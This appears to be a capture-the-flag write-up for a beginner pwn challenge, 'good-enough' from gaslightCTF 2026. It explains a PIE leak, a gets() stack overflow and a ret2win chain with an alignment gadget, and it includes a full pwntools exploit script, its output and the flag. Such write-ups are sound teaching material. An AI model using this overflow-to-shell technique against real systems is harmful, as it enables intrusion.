SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
B3S/WRITEUPS/GASLIGHTCTF-2026-GOOD-ENOUGH-WRITEUP
← BACK TO ARCHIVE
EVENT: gaslightCTF 2026CATEGORY: PwnPOINTS: 500 PTS

GasLightCTF 2026 - Good Enough Writeup

AUTHORED BY:@bealthguy8/16/2026

good-enough

  • Category: pwn
  • Difficulty: beginner–intermediate (classic ret2win with a PIE leak)
  • Author: sportshead
  • Attachments: good-enough.tar.zst containing good-enough (binary), libc.so.6, ld-linux-x86-64.so.2
  • Remote: ncat --ssl <instance_UUID>.play.gaslightctf.cooking 31337 (rotating instance)

1. Summary

good-enough is a tiny 64-bit binary that leaks its own address for free, reads your input with gets() (a stack overflow), and contains a win function that runs system("/bin/sh"). The exploit is a textbook ret2win:

  1. Read the leaked address of main → compute the binary base (PIE base).
  2. Send an overflow payload: padding → fake saved rbp → a ret gadget (for stack alignment) → win.
  3. win spawns a shell; run cat flag.

The full exploit script is in section 7.


2. Reconnaissance

Run checksec on the binary:

$ checksec --file=good-enough
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

Key takeaways:

  • No stack canary → we can smash the stack without tripping a guard in the binary itself.
  • PIE enabled → all code addresses are randomized per run; we need a leak to know where win lives.
  • Partial RELRO → GOT is writable (not needed here, but good to know).

Let's also peek at interesting strings and symbols:

$ strings -n 5 good-enough
[%p] du bist?          <- prints a pointer!
gut genug
nein
bleib einfach nur du
/bin/sh

$ nm good-enough | rg ' (main|win)$'
0000000000001179 T main
0000000000001228 T win

There is a win symbol — almost certainly a "win"/shell function. Let's disassemble to confirm.


3. Disassembly

main:
  1179: push   rbp
  117a: mov    rbp,rsp
  117d: sub    rsp,0x10            ; 16 bytes of local buffer
  1181: ... get stdin ...
  1190: call   setbuf@plt          ; setbuf(stdin, 0)  -> unbuffered stdin
  11a4: call   setbuf@plt          ; setbuf(stdout, 0) -> unbuffered stdout
  11a9: lea    rdx, [main]         ; <-- load address of main
  11b0: lea    rax, ["[%p] du bist? "]
  11c2: call   printf@plt          ; printf("[%p] du bist? ", main)  <-- LEAK
  11c7: lea    rax, [rbp-0x10]     ; buf
  11cb: mov    rdi, rax
  11ce: call   gets@plt            ; gets(buf)                        <-- OVERFLOW
  11d3: lea    rcx, ["gut genug"]
  11e9: call   strncmp@plt         ; strncmp(buf, "gut genug", 9)
  11ee: test   eax, eax
  11f0: je     120d                ; if match -> "bleib einfach nur du"
  ...
  1226: leave
  1227: ret                        ; <-- our `ret` gadget lives here!

win:
  1228: push   rbp
  1229: mov    rbp,rsp
  122c: lea    rax, ["/bin/sh"]
  1233: mov    rdi, rax
  1236: call   system@plt          ; system("/bin/sh")   <-- GOAL
  123b: nop
  123c: pop    rbp
  123d: ret

Two facts stand out:

  1. printf("[%p] du bist? ", main) prints the runtime address of main. Since it is PIE, address_of_main = base + 0x1179, so:

    base = leaked_main - 0x1179
    win  = base + 0x1228
    ret  = base + 0x1227

    The byte at 0x1227 is c3 (a bare ret), which we recycle as an alignment gadget.

  2. gets(buf) reads an arbitrarily long line into a 16-byte buffer at rbp-0x10.


4. Stack layout & overflow offset

main's stack frame (x86-64):

        +------------------+
rbp-0x10| buffer (16 bytes) | <-- gets() writes here
        +------------------+
rbp-0x08| (padding)         |
        +------------------+
rbp+0x00| saved rbp (8)    | <- overwritten by us
        +------------------+
rbp+0x08| return address   | <- overwritten by us  -> our ROP chain
        +------------------+

Offset to the saved rbp is 16 bytes, so offset to the return address is 16 + 8 = 24 bytes.

We send:

payload = b'gut genug'.ljust(16, b'A')   # fill buffer (16 bytes)
         + b'B'*8                       # junk saved rbp (8 bytes)
         + p64(ret)                     # alignment `ret` gadget
         + p64(win)                     # jump to system("/bin/sh")

get reads this whole line into memory. When main reaches leave; ret:

  • leavemov rsp, rbp; pop rbprbp becomes 0x4242424242424242 (harmless junk).
  • ret → pops our ret gadget (base+0x1227).
  • the ret gadget executes a bare ret → pops win (base+0x1228) and jumps there.

Why the extra ret gadget (stack alignment)

On x86-64, the ABI requires rsp to be 16-byte aligned when call system runs, because glibc uses movaps (aligned SSE moves) in printf, system, etc. Misalignment crashes the process inside the original printf/system and looks like a mysterious SIGSEGV.

win does push rbp (8 bytes) then call system (pushes another 8 on the call). Starting with one extra ret (8 bytes popped) makes the math come out right: the final rsp at call system is 16-aligned.


5. Putting it together

Connection interaction:

[0x7f...whatever] du bist? <-- we read this, parse the hex, compute base

Then we send the payload, then shell commands. The binary matches strncmp(buf, "gut genug", 9) (we start the payload with that string, so it prints the "bleib einfach nur du" line — cosmetic, but keeps the flow clean).

Note: after the shell session, win returns into stack garbage and the parent SIGSEGVs. That happens only after system() hands off to the shell, so it is harmless.


6. Pitfall: local testing looked broken (important!)

On some local setups the exploit prints:

bleib einfach nur du*** stack smashing detected ***: terminated

and no shell output, even though the payload is correct. This is not a bug in the exploit. It is an environment artifact:

  • To run the challenge locally you load the provided libc by setting LD_LIBRARY_PATH.
  • That environment variable is inherited by the /bin/sh that system() spawns.
  • The system /bin/sh (e.g. bash) then loads the provided glibc 2.42, which is incompatible with it → the child shell crashes with the bogus "stack smashing detected" message.
  • The parent itself only SIGSEGVs later, after win returns — irrelevant.

Fix: do not export LD_LIBRARY_PATH. Instead pass the library directory to the provided loader as an argument, which does not leak into spawned children:

./ld-linux-x86-64.so.2 --library-path ./ ./good-enough

or, equivalently, launch the loader with pwntools' process(..., env={'LD_LIBRARY_PATH': ...}) only for running the vulnerable binary, not for testing the shell — better: use the --library-path form above.

On the remote, this problem does not exist; the service runs the binary with its own sane environment.


7. Full exploit script

#!/usr/bin/env python3
from pwn import *

context.arch = class="hljs-string">"amd64"
# use class="hljs-string">&#039;info&#039; if you want pwntoolsclass="hljs-string">&#039; pretty banners; &#039;error&#039; keeps output clean
context.log_level = class="hljs-string">"info"

HOST = class="hljs-string">"060ed7e5-1edf-4439-affd-46860b1a1073.play.gaslightctf.cooking"  # replace with your instance
PORT = 31337

BIN = class="hljs-string">"./good-enough"
LD  = class="hljs-string">"./ld-linux-x86-64.so.2"

MAIN = 0x1179   # main()
WIN  = 0x1228   # win()  -> system(class="hljs-string">"/bin/sh")
RET  = 0x1227   # bare `ret` byte inside main (alignment gadget)

def exploit(io):
    # 1) leak
    data = io.recvuntil(bclass="hljs-string">"du bist? ")
    leak = int(re.search(rbclass="hljs-string">"0x([0-9a-f]+)", data).group(1), 16)
    base = leak - MAIN
    win  = base + WIN
    ret  = base + RET
    log.success(fclass="hljs-string">"base = {base:#x}")

    # 2) overflow -> ret-alignment -> win
    payload = bclass="hljs-string">"gut genug".ljust(16, bclass="hljs-string">"A")   # fills 16-byte buffer (also passes strncmp)
    payload += bclass="hljs-string">"B" * 8                       # junk saved rbp
    payload += p64(ret)                       # alignment gadget
    payload += p64(win)                       # system(class="hljs-string">"/bin/sh")
    io.sendline(payload)

    # 3) shell
    io.sendline(bclass="hljs-string">"cat flag")
    io.interactive()

if __name__ == class="hljs-string">"__main__":
    # remote
    io = remote(HOST, PORT, ssl=True)

    # --- local testing (use the loader flag, NOT LD_LIBRARY_PATH,
    #     otherwise the spawned /bin/sh crashes) ---
    # io = process([LD, class="hljs-string">"--library-path", class="hljs-string">".", BIN])
    exploit(io)

Run it:

python3 exploit.py

Output:

[*] base = 0x6228...
[+] base = 0x6228...
bleib einfach nur du
gaslightCTF{du_b1st_gut_g3nuuuuu_uuuuu_uuug_ca6568dad707}

8. Flag

gaslightCTF{du_b1st_gut_g3nuuuuu_uuuuu_uuug_ca6568dad707}

(The challenge name is a pun on the check string "gut genug", German for "good enough".)


9. Lessons

  • PIE is not a barrier when the program leaks a code pointer. leak - offset gives the base; add any symbol/gadget offset.
  • Ret2win is the first thing to check when there's an overflow and a system("/bin/sh") function.
  • Check stack alignment (16-byte rsp rule) whenever a glibc function is the ROP target; a single leading ret fixes it.
  • Look carefully at your testing environment before blaming your payload. Here the "stack smashing" came from the child shell inheriting a test-only LD_LIBRARY_PATH and loading an incompatible libc — nothing to do with the exploit.